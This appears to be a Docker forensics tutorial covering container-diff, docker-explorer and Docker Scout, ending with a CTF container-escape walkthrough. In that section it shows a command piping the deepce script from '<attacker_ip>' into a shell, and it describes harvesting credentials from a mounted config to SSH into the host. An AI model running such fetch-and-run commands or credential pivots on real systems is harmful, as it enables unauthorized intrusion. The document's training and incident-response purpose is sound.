CONTAINER-DIFF

Following the setup guidelines on the official GitHub repository, I installed the container-diff binary on my workstation.
e3933092cd8e293994036fd95feb35d9.png
The platform provides two primary analytical tracks: scanning a individual image footprint or executing a comparative diff sequence between two discrete image files.
caed53bd0f74f689b8a63d6303c87406.png

Analyze Mode

This operational track performs a structural evaluation of a targeted image. While useful for checking integrity baselines during initial audits, it lacks granularity unless combined with specialized execution arguments. Let's test the tool variations using functional flags:
5d24ece99b707aaa28ea9e75a9cbed09.png

Diff Mode

This operational track isolates structural discrepancies between two distinct containers. To maximize its analytical value, targeted modifiers must be appended:
b1974cea7b3171c8189ee87beede22e9.png

--type=file

This modifier generates an exhaustive report mapping the entire internal file directory layout.
3fadc6fcfd65c0c5e3080ddbff6d6d6b.png

--type=apt

This modifier extracts a comprehensive registry listing of all installed system library packages.
5f2893471af9bc20702745c548ca2e88.png

--type=history

This modifier processes structural layer generation data to reconstruct image development commands.
2f81a9fdb721510c2eba053ef883c3f9.png

Cross-Image Comparison Analysis

Using the diff parameters allows us to map variations between separate containers to quickly isolate system drift or malicious updates:
b1974cea7b3171c8189ee87beede22e9.png

--type=file

Isolates added, deleted, or modified system files between the two targets.
45dd5b3515707b2fe9921a4e0b5edc2d.png

--type=apt

Exposes system package imbalances or rogue program installations introduced into the second container.
3d17fb600ccfc4860ebc8bb662078385.png

--type=history

Highlights deviations across individual image layer development strings.
1b96230a7cd6c5b6ddb237ab2fc3c41f.png

Investigation

First, I install the specialized forensic tool docker-explorer into my system workbench.

pip install wheel docker-explorer

Using this framework, I execute an interrogation sequence to extract all existing container metadata from the target image path:

sudo de-venv/bin/de.py -r var/lib/docker list all_containers
{
        "image_name": "homeassistant/home-assistant:latest", 
        "container_id": "4ea041fd90ad823353e5a62f395f5ddab3c8096a4cbf1816eb5c4f88169d0818", 
        "image_id": "306f9233e149f606d94e7bb3c746cba599b2d3fd3e1080d9d05175daa02f9ae3", 
        "labels": {
            "io.hass.arch": "amd64", 
            "io.hass.base.arch": "amd64", 
            "io.hass.base.image": "homeassistant/amd64-base:3.16", 
            "io.hass.base.name": "python", 
            "io.hass.base.version": "2023.02.0", 
            "io.hass.type": "core", 
            "io.hass.version": "2023.4.5", 
            "org.opencontainers.image.authors": "The Home Assistant Authors", 
            "org.opencontainers.image.created": "2023-04-18 02:24:39+00:00", 
            "org.opencontainers.image.description": "Open-source home automation platform running on Python 3", 
            "org.opencontainers.image.documentation": "[https://www.home-assistant.io/docs/](https://www.home-assistant.io/docs/)", 
            "org.opencontainers.image.licenses": "Apache License 2.0", 
            "org.opencontainers.image.source": "[https://github.com/home-assistant/core](https://github.com/home-assistant/core)", 
            "org.opencontainers.image.title": "Home Assistant", 
            "org.opencontainers.image.url": "[https://www.home-assistant.io/](https://www.home-assistant.io/)", 
            "org.opencontainers.image.version": "2023.4.5"
        }, 
        "start_date": "2023-04-19T15:47:23.510586+00:00", 
        "mount_id": "40cdc83c5f2ddc31df17a01f1c66675039ef7271a44c82542a27206b38ed0fad", 
        "mount_points": [
            {
                "source": "var/lib/docker/volumes/ha_vol/_data", 
                "destination": "/config"
            }
        ], 
        "upper_dir": "var/lib/docker/overlay2/40cdc83c5f2ddc31df17a01f1c66675039ef7271a44c82542a27206b38ed0fad/diff", 
        "log_path": "/var/lib/docker/containers/4ea041fd90ad823353e5a62f395f5ddab3c8096a4cbf1816eb5c4f88169d0818/4ea041fd90ad823353e5a62f395f5ddab3c8096a4cbf1816eb5c4f88169d0818-json.log", 
        "exposed_ports": {
            "8123/tcp": {}
        }
    }, 
    {
        "image_name": "nextcloud", 
        "container_id": "5e38912f3093be4e81cedbf8290a084345f81425cd3bc0e6ae940a12fc93aaed", 
        "image_id": "964325ce9b9519b517f852b8b24e0d0a945edd5521b2eee5e0f94254d67821ee", 
        "start_date": "2023-04-20T07:51:42.664787+00:00", 
        "mount_id": "99ae7f428654a4ad2681b4f7ec2dfc97ecc5f54cb6f7a64126884c14278f14b9", 
        "mount_points": [
            {
                "source": "var/lib/docker/volumes/nextcloud/_data", 
                "destination": "/var/www/html"
            }, 
            {
                "source": "var/lib/docker/volumes/config/_data", 
                "destination": "/var/www/html/config"
            }, 
            {
                "source": "var/lib/docker/volumes/apps/_data", 
                "destination": "/var/www/html/custom_apps"
            }
        ], 
        "upper_dir": "var/lib/docker/overlay2/99ae7f428654a4ad2681b4f7ec2dfc97ecc5f54cb6f7a64126884c14278f14b9/diff", 
        "log_path": "/var/lib/docker/containers/5e38912f3093be4e81cedbf8290a084345f81425cd3bc0e6ae940a12fc93aaed/5e38912f3093be4e81cedbf8290a084345f81425cd3bc0e6ae940a12fc93aaed-json.log", 
        "exposed_ports": {
            "80/tcp": {}
        }
    }, 
    {
        "image_name": "nginx:latest", 
        "container_id": "e7cae6335bef239e2b827b717eb442a3b5e7a385d30ac7c03bfb4b6ba337eaf3", 
        "image_id": "6efc10a0510f143a90b69dc564a914574973223e88418d65c1f8809e08dc0a1f", 
        "labels": {
            "maintainer": "NGINX Docker Maintainers <docker-maint@nginx.com>"
        }, 
        "start_date": "2023-04-20T07:54:41.608245+00:00", 
        "mount_id": "129f9c83398cd5f7d9157ca39bd272a6e983a47cb8fdeda867fa093a68eb4e0e", 
        "mount_points": [
            {
                "source": "var/lib/docker/home/azureuser/html", 
                "destination": "/usr/share/nginx/html"
            }
        ], 
        "upper_dir": "var/lib/docker/overlay2/129f9c83398cd5f7d9157ca39bd272a6e983a47cb8fdeda867fa093a68eb4e0e/diff", 
        "log_path": "/var/lib/docker/containers/e7cae6335bef239e2b827b717eb442a3b5e7a385d30ac7c03bfb4b6ba337eaf3/e7cae6335bef239e2b827b717eb442a3b5e7a385d30ac7c03bfb4b6ba337eaf3-json.log", 
        "exposed_ports": {
            "442/tcp": {}, 
            "80/tcp": {}
        }
    }

Docker Scout

First, we authenticate our terminal session to the Docker remote registry using our active profile credentials:

docker login

Next, we download and extract the official utility binary file to install the plugin extension:

curl -L [https://github.com/docker/scout-cli/releases/download/v1.20.4/docker-scout_1.20.4_linux_amd64.tar.gz](https://github.com/docker/scout-cli/releases/download/v1.20.4/docker-scout_1.20.4_linux_amd64.tar.gz) -o docker-scout.tar.gz
tar -xzf docker-scout.tar.gz
mkdir -p ~/.docker/cli-plugins
mv docker-scout ~/.docker/cli-plugins/docker-scout
chmod +x ~/.docker/cli-plugins/docker-scout

With these files initialized, the security scanner integration becomes fully functional within our terminal environment.
19a67c0cdb4c958c30ebe8345063a7ee.png
We can now carry out deep software scans on any localized image footprint. For this test sequence, I will use a standard nginx target:

docker scout quickview nginx:latest

d8c10683e7e67a0547e6ff237a3b478a.png

docker scout cves nginx:latest

7ce501d6c06865d5e05ddd4652affed4.png

Container Escape

Note: While this topic aligns more closely with penetration testing and ethical hacking methodologies than core digital forensics, it provides vital contextual awareness for incident responders, so I am including it here.

A container escape occurs when an adversary exploits application flaws or configuration oversights inside a container to break out of the isolated namespace, gaining unauthorized code execution directly on the underlying host operating system.

The open-source evaluation script deepce functions as an automated tool to sweep environments for these specific containment flaws.

Its interface and execution output closely resemble the widely adopted post-exploitation script linpeas.

Forensic Workstation (Attacker Engine)

python3 -m http.server

Compromised Container (Target Environment)

curl <attacker_ip>:8000/deepce.sh | sh

This pipes and executes the deepce diagnostics engine within the container memory workspace.
8ae6febe0f223d20a0c696fc0f95f308.png

Here is a practical breakdown of a container escape sequence derived from a CTF (Capture The Flag) training scenario:

Case Walkthrough

The script uncovered several shared directories mounted directly from the underlying host:
e801c0f256a604b224c6bc7a6455cbc0.png
The exposed mount paths include the following file resources:

/root/.flowise
/etc/hosts
/etc/resolv.conf
/etc/hostname

Inspecting the .flowise folder exposed what appeared to be an encryption key value:
2444f2a92200b60b1a52e6d19b323fe2.png
Running a detailed scan with deepce uncovered an unencrypted configuration profile containing valid administrative credential values:
eb488dfc326abfb38abfae3803eef11c.png
Leveraging these harvested authentication structures via SSH allowed me to pivot out of the container boundary and log in directly to the host machine workspace as the user ben.
75f9503a937cb5dd6397cab0efb658d5.png